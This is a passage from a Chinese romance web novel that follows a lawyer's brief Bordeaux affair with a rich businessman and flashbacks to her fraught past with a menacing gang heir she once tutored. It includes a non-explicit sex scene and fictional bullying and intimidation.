她很美,尤其是趁着朦胧月色。
陆淮坐到窗边的矮脚沙发上,一条长腿放松的朝前伸着,将倒好的酒递给杨珞。
杨珞没有立刻接过,酒意让她的反应满了半拍,她呆呆俯视着陆淮。
这似乎是她头一回低头看他,此刻的陆淮没有了平日的肃穆威严,洒脱豪迈的坐姿,额前有些凌乱的碎发,在黑夜里勾勒出这个男人的另一番样子。
同白日一样迷人。
杨珞接过酒,随意坐在他脚边的地毯上,两人碰了杯,陆淮刚抿一口放在嘴里品味,就见杨珞仰头将杯中酒干了。
陆淮揶揄:“你把我这酒当二锅头喝了。”
杨珞并不懂酒,问道:“这很贵吗?”
陆淮顿了一下:“不贵,不过这么喝伤身,慢一点。”
他的声音在黑夜里沉沉的,仿佛有某种魔力,杨珞就这么听了他的话,随他小口小口的品尝了起来。
陆淮:“以前在法国生活过吗?”
杨珞:“大学的时候来留过学,而且我辅修过法语。”
陆淮:“辅修?那你第一学位是什么?”
杨珞:“是法学,所以现在做律师。”
陆淮了然,点了点头。
杨珞:“我看你像个生意人。”
陆淮:“算是。”
杨珞:“酒庄收购的顺利吗?”
陆淮:“还不错。”
杨珞:“波尔多那么多有名气的酒庄,为什么要选这一家?”
陆淮:“有一些私人原因。”
杨珞想起陆淮和园长聊天时提到他母亲,大概如此吧。
杨珞察觉到陆淮似乎不想透露太过关于自己的事情,并没有再多问下去,她随口扯了些别的,两人就这么有一搭没一搭的聊了下去。
几杯酒下去,她的脑袋越来越昏,陆淮将余下的酒放起来,不再继续给她添,只剩下杯中的一小口。
杨珞坐了许久,她想起身,身子踉跄了一下,却没拿稳手中的酒杯,把红酒洒在了洁白的羊毛地毯上。
杨珞愣了一下,红色酒渍如此醒目,她顿时清醒了几分,赶紧抓了两张卫生纸,趴地上想挽救一下,可擦了几下反而更脏了。
她抱歉的望向陆淮,却只见陆淮直勾勾的盯着她,眼里再无其他。
夜色暗涌,他坐在那里,两条腿随性的叠着,脸上没有多余的表情,只有那双狭长黑亮的眼睛,丝毫不掩其中的欲念冲天。
陆砚堂心中犹豫过一刻。
这样特殊的时期,又是他的私人行程,本不该节外生枝。
一个忽然且频繁闯入他视野的女人,保不准是谁刻意扔下的诱饵。
可若真是饵,也足够合他心意。
理智与欲念错乱的一瞬,杨珞带着歉意问:“你这个地毯,贵吗?”
陆淮淡笑:“贵不贵的,要看你怎么赔。”
他话里有话,做了选择,终于到了今晚的正题。
杨珞稍稍直了直身子,陆淮的目光没有丝毫躲闪,只是声音沉了许多,带着沙哑。“醉了吗?”
杨珞脑子里乱哄哄的,却在他的询问下摇了摇头。
陆淮不知道什么时候已经走到她身边,居高临下的朝她伸出一只手。杨珞怔怔的看着他。
鬼使神差的,杨珞把手放在陆淮的掌心上,他五指轻轻收拢,握住。
可他没有拉她起来,而是缓缓蹲了下来,杨珞的目光顺着他的身躯下移,最后定住。
即便是蹲着,他也显得那么高大。
暧昧的气氛冲入整个空间,陆淮的目光扫过房间的大门,又扫过卧室的门,最后低声道:“这儿有两扇门,你想从哪儿走?”
4. 第4章(1)
杨珞的呼吸乱了起来,目光灼灼的看着陆淮,而后又羞涩的躲闪着目光。
陆淮就这么一动不动看着她犹豫。他捏着她的手,拇指似有若无的在她手背上摩擦着,传来丝丝麻麻的触感。
杨珞终于又抬起了眼,目光对上陆淮的那一刻,他猛然握紧她的手腕,将人从地上拦腰抱起。
杨珞的喉咙发出一声惊呼,划破了黑夜的寂寥,落在男人耳朵里却是另一番意味。
那么大的客厅,陆淮却只跨了几步便走到卧室门口,他踢开门大步走进去。
杨珞被不轻不重的放在床上。陆淮一只腿跪在床上,一只手撑着。即便是这个角度,也是极为好看的,甚至在黑夜里,有着让人着迷的野性。
陆淮永远都是一副风轻云淡的神色,哪怕现在,哪怕他的欲望都要从眼里喷涌而出,他的表情也仍是四平八稳。
可杨珞知道,这是只是表象。那只隐在夜色里的手,已经开始攻城略地,搅动风云,她像板上鱼肉,只能任他为所欲为。
杨珞觉得自己浑身轻飘飘的,似乎被一股不知名的力量带到了云端。
陆淮不知何时已经卸下衣服,月光下杨珞看到他的身体,是低调而优美的线条。
他俯下身来,离她越来越近,燥热的喘气充斥着她的耳朵。
她脑海里闪过凌乱的画面,发出的声音支离破碎。
他轻柔的亲吻着她,可她刚放松下来,他便迅猛的让她绷紧了身体。
一下又一下。
一次又一次。
来来回回,半梦半醒。
杨珞甚至不知道自己什么时候睡过去的,只感觉越来越累,陷入一个交错的梦里。
梦里她回到了熟悉的校园,眼前站着笑意满满的陈桥。她刚想走过去,一道声音从身后阴森森的传来。
“杨珞,你跑什么?”
她惊恐回头,却空无一人。可再转过身,眼前却是林纪泽的脸,阴冷贪婪的看着她。
她转身就逃,可沉重的脚步怎么都迈不开。
身后的人离她越来越近,幽灵般的声音从四面八方包裹着她。
“怕什么?过来啊。”
陆淮半夜被电话吵醒,因为与国内有时差,他睡的也并不熟。索性起来处理一下国内的邮件,才坐了一会儿,就听到身后急促的喘息声。
陆砚堂回头,却见杨珞闭着眼睛,表情极为痛苦,胸口剧烈的起伏着,像是喘不过来气。
他起身回到床上,躺在她身边,手背贴了贴她的额头,很烫,带着细密的汗珠。
“杨珞。”
他轻声叫她,试图把她从噩梦中拉回来。
“啊——”
杨珞惊呼一声,猛的睁眼,她的身体一阵失觉,仿佛丧失六识五感,根本分不清梦还是现实,知道所有触感慢慢回归,杨珞看清了眼前男人的脸。
陆淮看着她惊恐的眼神,怔了一秒,而后抬手轻柔拂掉她额头上的薄汗。“做噩梦了?”
杨珞沉重的喘息着。
“别怕,这儿很安全。”
陆淮的手覆在她一侧的脸颊上,温柔的摸着她鬓边的头发,直到杨珞渐渐平静下来。
他的手掌大而温厚,杨珞像只受惊的小猫,不自觉的将脑袋往他手心里蹭。
她不经意间的撒娇陆淮很受用,又朝她靠了靠,将人揽在怀里,轻轻拍着她的背。
沉默的几分钟里,陆淮望着眼前出神。
他们对彼此都不了解,可就是这种陌生,让藏在深处的心反而挣脱桎梏,放松了警惕,偷偷溜出来,竞也能偷窥到自己这么有人味儿的一面。
见杨珞好些了,陆淮说:“还早,再睡会儿。”
杨珞看了看窗外,天还没亮,她犯了个身,注意到陆淮桌上打开的电脑。
“你醒了?”
“嗯,临时处理点工作。”
陆淮动了动身子,却见杨珞手指勾着他的衣服,不愿松开。那是恐惧袭来后的余震,小姑娘显然还没有彻底平静下来。陆淮笑了笑,将笔记本拿到床上,陪她躺着。
陆淮一手打开电脑,一手在她脸颊上爱抚了片刻。“快睡吧。”
他没有问自己做了什么噩梦,两人心有灵犀的守着那个边界。
杨珞翻了个身,望着窗外的星星点点,陆淮的手也从她脸上移去,一心一意的扑在屏幕上。
过了许久,杨珞又翻身回来,问:“你这么忙,那你一天能赚多少钱?”
陆淮没想到她突然这么问,他思索几秒,说:“这个说不准,不过你现在想个大点的数字,应该在这个数字之上。”
杨珞在黑夜里找到他的眼睛,有些不服
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道:“光想想还不简单,我能往无限大了想。”
陆淮居然感觉到了她的目光,精准的朝她看过来,轻笑了一声,说:“一个人对金钱的预期和判断是无法超过她的认知范围的。虽然律师也算是高薪行业,但比起资本家,还是差了点。”
他这话说的极为漂亮,把井底之蛙、目光短浅说成了个哲学问题。有钱人看有钱人,一看一个准。自然看穷人也是。杨珞身上没有半点大富大贵的影子,她有这个自知自明。
毕竟是实话,杨珞也没再反驳。
她又问:“那要怎么样才能赚钱呢?赚很多钱那种。”
陆淮闻言挑了挑眉,对她的问题有些意外。孤男寡女共处一室,居然这么大摇大摆的谈起赚钱的门路。
“天底下最多的就是赚钱的门路了,看你想怎么赚。有快钱,有慢钱。有光明正大的钱,也有见不得光的钱。你想赚哪种?”
他说到最后,语气也变得玩笑起来,床榻之间,能问出什么正经话?她索性不再吭声,把头闷进枕头里。
安静了几秒,陆淮问:“怎么不说话了?”
杨珞:“睡觉。”
陆淮哼笑一声:“睡觉?嗯……也是个赚钱的办法。”
杨珞没想到陆淮还有这样斯文败类的一面,赌气似的踢他一脚。力道不重,踢到了陆淮的小腿上,软软的。
陆淮觉得腿上一痒,警告她:“别不老实。”
杨珞想起他方才的攻势和掠夺,腿间一软,不敢造次。却还是重重翻了个身,闹出点动静,以示抗议。
陆淮无声笑了笑,觉得有趣。问:“你很想赚钱吗?”
杨珞没有回答,只在心里默默的想了想。
她当然想赚钱,她得要好多好多钱才行。
陆淮处理完工作本打算睡了,可身边的人却不太安分,一会儿翻身,一会儿发出轻微的叹息来。
陆淮好不容易消减下去的身子又被她弄的浑身难受。
他警告:“别乱动,睡觉。”
可杨珞睡不着了。等她又翻了个身后,他索性支起身子,问:“睡不着?”
杨珞睁着眼,愣了一下,以为他在关心自己,嗯了一声。
陆淮:“睡不着,那就干点正事儿。”
杨珞还未反应过来,男人的身影已经压迫过来。
5. 第 4 章(2)
次日清晨,杨珞醒来时已经很晚了,她拖着酸痛的在床边坐了一会,要下床时才发现自己昨晚是穿睡衣来的,薄薄一层已经破烂不堪,根本没有可以换的衣服。
她呆坐了片刻,脑袋里闪过昨晚放纵的画面,有种堕落后的幡然醒悟。她溜下床,从陆淮的衣柜里拿出一件衬衣来套到身上,然后蹑手蹑脚的走到卧室门口。透过门缝,看到陆淮正站在窗前打电话。
清晨别有一番清新,他穿着一身蓝色条纹睡衣,在窗台前踱步,转身的一瞬间看到猫在门口的杨珞,看她一眼,下巴扬了扬,指了指餐桌上的早餐。
杨珞会意,她本还有些尴尬,却见对方如此自然,索性也就厚起脸皮了。
陆淮打完电话,也坐在了餐桌旁。他在喝热水,杨珞瞥一眼,感慨年纪大了果然要养生。
陆淮捕捉到她的目光,问:“看什么呢?”
杨珞:“看你有多大。”
陆淮挑了挑眉毛,有些不怀好意的意味。
杨珞赶紧解释:“我是说年纪……”
陆淮:“我也没说是别的。”
杨珞:……
斯文败类是也。
陆淮不再逗她,反问:“你猜我有多大?”
杨珞:“不想猜,随便。”
陆淮被呛一嘴,也不跟她计较,翻着手机里的消息,随手捏了个块苹果塞进嘴里。杨珞抬眼打量他,他微微垂眸,睫毛硬而浓密,下颌骨的线条随着咀嚼移动收缩,牵动着喉结,野蛮而性感。
“今天什么安排?”
陆淮突然问话,吓的杨珞赶紧低头吃东西,反应过来是在问她,就说:“没什么安排,随便玩儿玩儿。”
陆淮:“我这儿有个聚会,要不要一起?”
杨珞:“你和朋友的聚会,带我干什么,我还是自己玩吧。”
“别人邀请的,去凑个热闹,没朋友。”他说着,把一个请帖放在她面前。
听他说聚会,杨珞以为是自己理解的那种,但细细看这请帖,倒像是个慈善晚宴。她觉得陆砚堂似乎也并不感兴趣,但又是非去不可的情况。
杨珞笑笑,问:“可以早退吗?”
陆砚堂看她,没有回答,却心有灵犀般的笑了笑。
两人约了下午两点钟出发,杨珞回到自己房间,洗了个热水澡,冷静下来后觉得一切都不可思议。
她这是算有了一场艳遇吗?如果林纪泽知道,一定会杀了她的。
下午一点多,陆淮遣人给她送来一套小礼服,黑色简约的鱼尾裙,低调优雅。
杨珞正在换衣服,陆淮来敲门,她打开房门,只探了一个脑袋出来。
笑道:“帮我拉个拉链。”
裙子的拉链从腰线往上,杨珞走到镜子前,陆淮跟了过去,站在她背后。
衣服下袒露着杨珞如玉般的大片肌肤,陆淮并不娴熟,动作轻缓。
镜子里,杨珞看着身后的男人。他又穿回了往日的西装,头发也简单打理了一下,低头的表情有不经意的严肃。对待她的拉链像对待他的工作一样认真。
终于拉上,陆淮抬头,对上镜中杨珞的眼睛,两人有几秒没说话,他的表情转为笑意,双手轻轻落在她的腰肢上,在她脸颊上轻柔的落下一吻。
“走吧。”
杨珞任他拉着,心中的荡漾似乎还在回味方才的瞬间。
聚会在一个庄园里,杨珞对于法国的政商届并不了解,到场的大多数她都不认识,庄园的主人对陆淮似乎十分尊将,领着他坐到中心位,但陆淮婉拒了,他和男人低语了几句,翻译在旁转述。庄园主的目光在杨珞身上掠过一刻,而后笑着冲陆淮点了点头。
随后两人在侧面落座,杨珞知道陆淮的用意,为那句早退。
宴会开始,东道主的讲话杨珞听的兴致缺缺,她只坐在一旁吃点心,有几样确实不错。陆淮坐在旁边瞧她,问:“要不要给你打包一份回去?”
又调侃她。
杨珞也不甘示弱:“您要拉得下这个脸,那我当然愿意。”
陆淮笑了笑。
途中有侍者送来纸签,陆淮拿笔在上面写下一串数字,很多个零,杨珞没看清。陆淮将填好的纸签扣在桌面上,像随手给了一笔小费。
酒会开始,陆淮没有加入寒暄,这里不是他的主场,跟园长也是故交,不算合作伙伴。既然不是正式的应酬,也无
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所谓积极与否。
他先回了几条短信,抬头时注意到一旁的杨珞正目不转睛的盯着别人跳舞。
“想玩的话你也去。”
杨珞摇头:“我不会。”顿了顿,又问:“你怎么没去社交?”
陆淮:“我不喜欢这种场合。”
杨珞:“那你怎么跟上流社会的权贵交往?”
陆淮淡笑:“所有交往看的都是核心利益。”
杨珞越来越在不经意间感受到眼前人的不显山不露水。
有些人命真好,好皮囊好脑子还不够,偏偏还有好大的富贵。
坐了片刻,陆淮问她:“还想呆吗?”
杨珞摇头:“走吧,坐累了。”
两人偷偷退场,他拉着她穿过人群,风情的音乐萦绕在男男女女之间,只有他们的身影极速穿过。
天已经黑了,星光点点。
他们走在庄园的静谧之处,路灯透过参天大树洒下斑斓微薄的光晕。
杨珞已经定了第二天的机票,她要走了。
但此刻牵着陆淮的手,居然有些不舍。
到底是不舍眼前的人,还是久违的自由,她自己也说不清。
她停下脚步,在一刻橡树下踮起脚尖,勾住陆砚堂的脖子。
陆淮对她的主动有些意外,但却没拒绝。
两人拥吻在这一刻。
像极了爱情。
冲昏头脑的东西不再是酒精。
可不是爱情。
清醒过来,彼此的眼睛里不是温存过后的情意,而是淡淡消散的冲动,和一点点升起的理智。
杨珞:“该回去了。”
陆淮将她唇边晕开的口红擦拭掉。
“好。”
好似激情过后的寂寞,二人一路无话。
回到酒店,电梯里陆淮按了顶层,却没有再帮她按电梯。
杨珞看着缓缓上升的楼层,抬手按了自己的楼层。
成年人之间的默契无需多言。
电梯门开,杨珞出去,她想说些什么,最后只是说了句晚安。
陆淮面色平静的看着她。
“晚安,早点休息。”
6. 第5章(1)
陆淮刚到房间,程进就敲了门。
陆淮:“这么晚了,家里头有情况?”
程进:“老爷子今天给我打电话了。西京那边该处理的都处理过了,他的意思是让您早点回去。”
程进说完,欲言又止了一下。
陆淮给自己倒了杯温水,拿起另一个递给他:“有话就说。”
程进:“老爷子还说……最近局势都不稳,意外越少越好,风花雪月的事儿上,别让人抓了把柄做文章。”
陆淮冷笑一声,没有说话。
程进心口一紧,连忙解释:“您和杨小姐的事儿我没有……”
陆淮打断他:“我知道。”他顿了顿,说:“他想知道我的一举一动易如反掌,也不是一天两天了,跟你没关系。”
程进这才松了一口气,陆淮在客厅来回踱步片刻,而后问:“酒庄那边给回复了吗?”
程进:“给了,我们开出的条件又往下压了两个点,但是在我们的底线内。”
陆淮:“行,拍板儿吧,明天回。”
程进走后,陆淮开了一瓶酒。他本不打算喝,但此刻心里实在难以平静。他从落地窗往外看去,波尔多的夜景静谧悠然,不似西京,高楼林立,仄□□人,哪怕是黑夜,也有人冒险往上拼命的爬,不怕摔得粉身碎骨,但绝不站在平地上慢慢等死。
陆家到此刻为止已经天翻地覆。外敌强悍、内斗阴险,他如履薄冰。与他而言,是一个时代的结束,也另一个时代的开始。可他要的,不只是这些。
陆淮将杯中的酒饮尽,转身回房。路过客厅的桌子时,看到地毯上那抹没有擦掉的酒渍。他想起了那个女人,但只静静地发了会儿呆,没有告别,没有期待。
昙花一现的美好转念便散了。
他从不留没有意义的情,徒增麻烦。
——
杨珞回到房间,窗外月亮透着星星点点的微光,她顺着昏暗的路径往里走,倚着床坐下,突然觉得心里空落落的。
一声微信提示音打搅了杨珞的静谧,律所的张主任发来了微信,问她合同的事弄的怎么样。
杨珞从包里拿出电脑,坐在地毯上查看了一遍邮件,仔细看了看眼酒庄发来的文件,算是妥当了。
张凌睿:“弄完了就回来吧,上次跟你说的那个房地产的案子,差不多要开始了。你回来把合同一签就可以领人做了。”
杨珞:“好,明天回。”
杨珞洗漱完要睡的时候,唐亭刚好打电话来。
“准备什么时候回?”
杨珞:“你问的真及时,我刚收到那边的合同,公事儿办完了。”
唐亭笑了一声:“瞧你这话说的,还有私事儿?”
杨珞闻言不知为何愣了一下,然后否认:“没有,明天见。”
不知怎么的,她虽跟唐亭知无不言,却不太愿意提起这段露水情缘。知道它很快就要留在过去,就没必要强化它在自己脑海里的记忆。
唐亭沉默了片刻,说:“昨天我见到林纪泽了,他参加了周氏的入股仪式。”
纵然已经知道,杨珞心口还是紧了一下,她听着唐亭隐忍的声音,最后只剩下微弱的叹息:“我真希望你别回来了,留在波尔多,或者去别的地方,越远越好,只要你……”
“唐亭。”杨珞打断了她,憋闷的胸膛勉强呼吸着:“我明天回去,你在家等我。”
杨珞挂了电话,瘫在床上蜷缩成一团。她必须回,她最亲的人还在那里。
不知不觉睡了过去,第二天杨珞醒来的时候头痛欲裂,她懒得收拾自己,只简单洗漱了一下,套了一件宽松的衣服。所有的东西都收拾好后,她坐在地毯上,看着身边的那件小礼服。
她很少有这样的衣服,就像过去的三天,在她生命里只不过是一瞬烟火,燃烧殆尽,留下的只剩无边无际的黑夜。
杨珞将那件衣服整整齐齐的摆好,放在床上,然后拉着箱子出门了。
中午,陆淮在房间里打着电话,程进指挥另外几个人收拾门口成箱成袋的礼品。
陆淮挂了电话,扫了眼成堆的东西,觉得麻烦:“这么多?”
程进:“都是些合作伙伴送的礼物,还有陵川投资的一些品牌方,这些东西前几天就送过来了,堆在我那儿,今儿要走了,您挑挑,看哪些要带走。”
陆淮整了整西装袖口,从堆积如山的礼盒中扫了一眼。
“选两瓶好酒,给老爷子带回去。”
陆淮转身要走,瞥到一个奢侈品牌送的小盒子。
他拿起看了一眼,里面是一条钻石项链和成套的耳环。
模样不算张扬,但实在精致。多瞧两眼,他也觉得喜欢。
陆淮莫名的想起某个人
他递给程进:“把这个给杨珞送过去。”
程进接过:“好。”
两人要走的匆忙,程进不敢耽误,当即便下去
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了。约莫一刻钟又上来,手里原封不动的提着礼物。
“先生,杨小姐走了。应该已经退房离开了。”
陆淮指尖缠绕着墨蓝色领带,听到程进的话顿了一下,但很快又一丝不苟的继续,面无表情。
“嗯。”
程进从背后打量陆淮的表情,不敢多言,又转回正事:“飞机下午一点左右出发。”
陆淮点了点头,问:“什么时候到西京?”
程进:“7号上午,老陆总约了您8号见面,晚上七点半。”
——
机舱内,杨珞将薄毯盖在身上。窗外雨刚停,她看着窗外绵密的云,像是透不过气的牢笼。
短暂的通报声后起飞,随着飞机的轰隆声,杨珞仿佛被拉回了要面对的现实。
波尔多的几个日夜像一场梦,在她至暗的生活里一闪而过。
她点开手机里那没头没尾的短信,心也沉了下来。
从她遇到林纪泽那天起,已经三年了。杨珞常想,如果当年她没有走进那栋别墅,那间房子,或许一切都会不一样。
那是一间宽敞而简约的卧室,却在每个缝隙中弥漫着压抑的气息,白墙在阳光的照耀下反射出刺眼的光晕,就像那少年的脸一样,宛如了无生气的吸血鬼。雕刻般的五官,惨白的面容,精致而危险。
杨珞第一次见林纪泽的时候,就是这幅场景。他是一个不太好带的学生,她是当月被聘任来的第三个法语老师。
她战战兢兢的坐在桌前等候,其实她早就听过林纪泽的名字,只不过从未见过。她是品学兼优,人人称赞的优等生。他是无恶不作,让人闻风丧胆黑\帮的二公子。
没错,在港城虽然大家大族都已经洗白,但过往几十年遗留下的做派和底子像是刻在血肉里。
杨珞安安静静的坐在课桌前,也是林纪泽的卧室里。听说这是他的要求,他拒绝在书房听课。
时间一分一秒流逝,林纪泽终于推门进来,却一言不发,好奇的盯着眼前的女人。许久才在她身边落座。
杨珞太过紧张,不敢看他。
倒是他先开的口:“我是林纪泽,老师,你叫什么名字?”
杨珞声音有轻微的颤抖:“我叫杨珞,请多指教。”
林纪泽笑了,他懒散的靠在椅子上,自上而下的打量着眼前的女人。
他认出了她,这不是两人第一次见面。
只不过杨珞并不知道。
7. 第5章(2)
那天在学校顶层的阁楼里,他的一群狐朋狗友教训了一个水性杨花的女人,手段下作残忍。不知从哪儿闯进来一个愣头愣脑的小姑娘,被眼前的场面吓的呆在了原地。
他们不放她走,用黑布蒙上了她的眼睛,捆了她的手,作乐似的看着她在地上挣扎。
为首的男人居高临下的看着杨珞:“她是自找的,你来干嘛?”
又响起了一个女人的声音:“这样的朋友你也认啊?她自己不想受苦,叫她找个人来替。你这么乖,我们怎么下手啊,会不会被校长通报啊。”
话音一落,周遭一阵刺耳的狂笑。
杨珞怕的发抖,林纪泽就是这时推门进来的。他烦闷着,不愿搭理这些人作乐的把戏,挑了个角落的地方坐着。
女人蹲在杨珞身边,长长的指甲狠戳她的肩膀:“你知道你这个朋友都做了什么事吗?他说你愿意替她受罚,我们可不强人所难,你想好了吗?”
所谓的朋友蜷缩在一旁,早已经没了半点魂魄,只一味哭哭啼啼的道歉。
杨珞掐着自己的手心,让自己冷静下来。
“我不是她的朋友。”
“不是?那怎么她一叫,你就来?”
“以前是,现在不是了。”
四周响起杂乱的笑声,蜷缩的女人突然爬过去扯住杨珞的腿:“你不能不管我,对不起对不起,我是真的没办法了,你救救我吧。”
杨珞冷声道:“你还有手有脚能抓人,我被人绑着,眼睛蒙着,你指望我怎么救你?”
女人哭喊着:“他们说要砍了我的手,如果……如果我不找人来他们就要砍了我的手。”
杨珞无声叹息,一群欺男霸女的二世祖,再怎么猖狂也不敢在学校弄出人命来。
周泓这个蠢货,这样的话也信。
一个男人突然咦了一声:“这小美女有点眼熟,这不陈桥的马子吗?”
“陈桥?谁啊。”
“咱们主席啊!”
林纪泽远远看着这场闹剧,杨珞躺在地上,胳膊小心的挣扎着,企图挣开绑着她的绳子。林纪泽目光愈发幽暗。
这样绑着,怎么挣的开呢。
林纪泽起身过去。旁人安静的为他让开一条路,他停在杨珞面前,俯视着如蝼蚁般的女人。
她蜷缩着,虽遮着眼睛,但却有着一股不卑不亢的沉静。
眼前的场景似乎让他觉得熟悉,他沉默片刻,忽然抓起一个酒瓶朝身边的男人狠狠砸过去。
众人顿时傻了眼,男人脸上一热,浓血源源不断的留下来。
地上的杨珞也狠狠颤抖一下,四下一片寂静。
林纪泽:“我跟你说过,不要这么绑人。”
旁人对林纪泽的惧怕是刻在骨子里的,男人怔怔的点头,周遭一片寂静,没人敢为他说一句话。
林纪泽扔掉半截瓶子转身离开,天台片刻后渐渐恢复了声音,所有人都习惯了他的阴晴不定,他们甚至不敢愤怒,只庆幸被砸的不是自己。
“他说这话什么意思。”
“他说不让我们绑人。”
“可我们也不是第一次绑啊。”
“不是,他的意思是他不喜欢这个姿势。”
杨珞语气平淡的介绍着法语学习的基础和技巧,但却隐隐觉得这个学生的注意力并不在书本上。可出于对林纪泽恶名远扬的忌惮,她打心底里发怵。
林纪泽看着眼前的女人,想起那天她在天台上的故作冷静。不禁好奇她有多大胆子,又或者多能装。
林纪泽看出她平静外表下的波澜,忽而朝她靠近,亲昵的将手搭在她肩膀上。
“老师,你好像很怕我。”
杨珞浑身一颤,汗毛竖起,她闻到男人带来的香气。
他是学生,她是老师,杨珞不想让自己失了威严
她回头,勇敢的对上他的眼睛,否认道:“没有。”
可话从她嘴里说出来底气那么不足,林纪泽笑了笑,重新坐回去。
那是杨珞第一次认审视林纪泽的模样。他不得不承认林纪泽的俊美,是绝对的精致,不容置疑的俊逸。却又像一个摄人心魄的魔鬼,谁都知道他坏到了骨
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子里,却难以抵挡他冲自己勾一勾手指。
杨珞屏着呼吸回过头来,好在她对这种男人并不感兴趣。
杨珞的课上的并不顺利。林纪泽对法语半点兴趣都没有,他假模假样的装了一会儿便原形毕露。
“你讲你的课,我做我的事,钱你照拿,不要多管闲事。”
杨珞目光里的疑惑很快变为平静。
“好。”
杨珞答应的让林纪泽些许意外。但她自己却清醒的很,她需要钱,换谁来这位少爷都不会学的,又何必假清高。
自此之后,两人之间有了一种无声的默契。杨珞留了下来,对着空气讲课。林纪泽便自娱自乐,有时他从头睡到尾,有时他对着游戏机破口大骂,有时又会和别人打电话,聊着一些杨珞听不懂的话题。
甚至有时故意拿杨珞作乐。
可杨珞从不回应他。
杨珞看他时了无生气的目光,让林纪泽觉得有些郁闷,他看不到一丝情绪。
与其说他无视杨珞,不如说杨珞彻底无视了他。
杨珞知道,自己是他好胜心下的玩具,若当真就成了笑话。况且,她是个清清白白的凡人,与林纪泽,林家,最好不要有什么牵扯。
林纪泽开始讨厌杨珞
可以说很讨厌。
“外语不是有实景对话吗?今天跟我出去。”
杨珞讶异:“你的水平也用不着。”
林纪泽嘴上笑着,毫不客气的提起她的肩膀,一把将杨珞塞进车里。
他带她去了一处私人会所,却没有进房间。在高楼之上的角落里,看着下面的男男女女。
杨珞不知道这个疯子要干什么,问他,林纪泽却闭口不答。
直到杨珞在人群中看到了周泓的身影。
是那个在天台上哭喊着要被砍掉手的女人。是那个要杨珞去顶替自己的所谓的朋友。
更让杨珞震惊的是,周泓身边的正是那天霸凌她的人。
察觉到杨珞的变化,林纪泽满意的笑了。
“认得她吗?你的好朋友。”
8. 第6章
杨珞头皮一麻,惊愕的看向林纪泽。
他知道发生了什么,他也在场。
记忆扑面而来,落在最后那句阴冷的声音上。
杨珞:“是你?”
林纪泽勾起唇角:“是我,我救了你,你准备怎么谢我?“
救?
杨珞觉得不可思议。
光天化日,朗朗乾坤,把别人的命攥在手里玩弄,松一松手就摇身变成圣人?就算救人一命了?
天底下哪有这样的狗屁道理。
林纪泽目光幽深的盯着杨珞,在她眼里看到了冉冉升起的情绪,惊讶,愤怒,总之再也不是毫无波澜。
正当他洋洋得意之时,那丝情绪竟飞快的消失了。
杨珞冷笑一声,转头离开。
林纪泽错愕一瞬,一把抓住她的后颈,将人扯回来。
好奇妙的触感,让林纪泽手心一痒。她的身体比她的骨气软多了。那样细小的脖子,在他掌心里盈盈一握,滑腻无比。
林纪泽单手圈着她的脖子。
“你笑什么?”
杨珞冷声:“我笑你幼稚。”
林纪泽一怔,强迫她看着楼下的一切:“好好看看,你赴汤蹈火救的朋友现在是什么样子。”
杨珞拼命挣脱,可浑身力气也比不过他的一条手臂,林纪泽就那样懒散的站着,任凭她挣扎却纹丝不动。
杨珞眼睁睁的看着周泓围绕在那群人身边,小心翼翼,讨好着,卖着笑,仿佛那天欺负她的人不是他们。为首的男人在她身上摸了一把,眼里却是满满的轻蔑。
杨珞不再反抗,心里的怒火快速的沉了下去,变净,变凉。
林纪泽:“看看她攀权附贵的样子,你那么救她,值吗?”
杨珞没有回答他的问题,反问道:“你摆了好大一场戏,为了激怒我,值吗?”
林纪泽被问住,缓缓松开了杨珞。他又看到杨珞平日的样子。
“林纪泽,你真的很无聊。”
杨珞盖棺定论,转身离开,这次林纪泽没有再强留。她离开后,林纪泽独自站了一会儿。
他揉了揉头发,兀自笑了下。确实很无聊,自己干嘛要和一个毫无趣味的女人置气。
这件事之后,杨珞心有余悸。孩子心性,魔鬼手段,是最可怕的。
她发誓上完这个季度的课就再也不和这个人,这个地方有任何牵扯。而林纪泽仿佛也只是恶作剧了一把,自此之后许久没再找杨珞的麻烦。
两人平静了一段时间,杨珞以为这位公子哥的玩性总算过去了,却没想到遇见了新的怪事。
那日杨珞从林纪泽的房间出来,迎面碰到一个气场阴冷的的男人。老管家将他恭敬的送进来,那男人淡淡瞥她一眼,被她看的那一瞬间,杨珞只觉得手脚冰凉。他的目光没有多停留,而是径直进了林纪泽的房间。
杨珞听说林纪泽有个哥哥,连他周边的空气都染着血腥味儿。她没有多猜,林纪泽的房门很快打开,却不是有人出来,他隔很远把自己的包扔了出来,语气冷淡:“你走吧。”
杨珞愣了一秒:“我……”
“滚!”
杨珞只是想说她的书还在里面。但她今天是非走不可了。
算了,反正也不会少她的钱。
她将散落在地的东西收拾好,挎着包离开了。那天下午的阳光分外明媚,刺的杨珞睁不开眼,可她依旧用手挡着光朝天空望了一眼。
蓝天、白云、数不尽的希望。
她的人生到那一刻为止,仍是如天上的太阳,明媚无暇。
时隔两天,杨珞再见到林纪泽时,他仿佛从鬼门关走了一遭。整个人虚弱的蜷缩在床上,脸色比往日还要苍白,连那双锐利冷漠的眼睛也变得无神起来。
杨珞以为他生病了。
可她什么都没说,只是在进门的那一刻愣了一瞬,而后像往常一样走到桌子前,打开课本:“今天复习。”
回应她的是沉默,死一般的寂静。可她还是纹丝不动,杨珞自己都惊讶于自己的绝情,可她的潜意识告诉自己,离这个人、离他所在的世界每靠近一步,对她而言都不是好事,况且林纪泽这种前呼后拥的人,轮到不她施以援手,她又何必自作多情。
半晌之后,杨珞身后响起了无比虚弱的声音。
“你看不到我很难受吗?”
杨珞停下讲课的声音,沉默一秒,说:“看到了。”
林纪泽指望她再说点什么,却没想到就这么一句
他又问:“杨珞,你天生就这么冷漠吗?”
这是他第一次叫她的名字,以往他总是直接发号施令,又或是阴阳怪气的叫她老师。
杨珞不想跟她起争执,沉声道:“你想让我干什么?“
林纪泽看着杨珞单薄却倔犟的背影,命令道:“过来。”
杨珞没动。
“我让你过来。”
他声音不大,但已经是不容反抗的语气。杨珞不愿惹事儿,乖乖起身走到床边。
林纪泽盯着她,朝她抬起一只手:“把我衣服脱了。”
杨珞被他的要求震惊到了,但他的眼神不像是开玩笑,她不知道他到底想干什么,但还是硬着头皮上了。碰到他的那一刻杨珞才觉察到异样,林纪泽并不是个弱不惊风的瘦猴子,相反,他有很强壮的身体和结实的肌肉,但此刻他像个提线木偶一般,浑身上下似乎一点力气都没。
杨珞本以为他又在戏弄自己,可撩开他衣服的一瞬间,杨珞被吓的屏住了呼吸,仅是漏出的半侧腰,就有一片伤口,有淤青,有擦伤,还有长长的血痕。
“快点。”
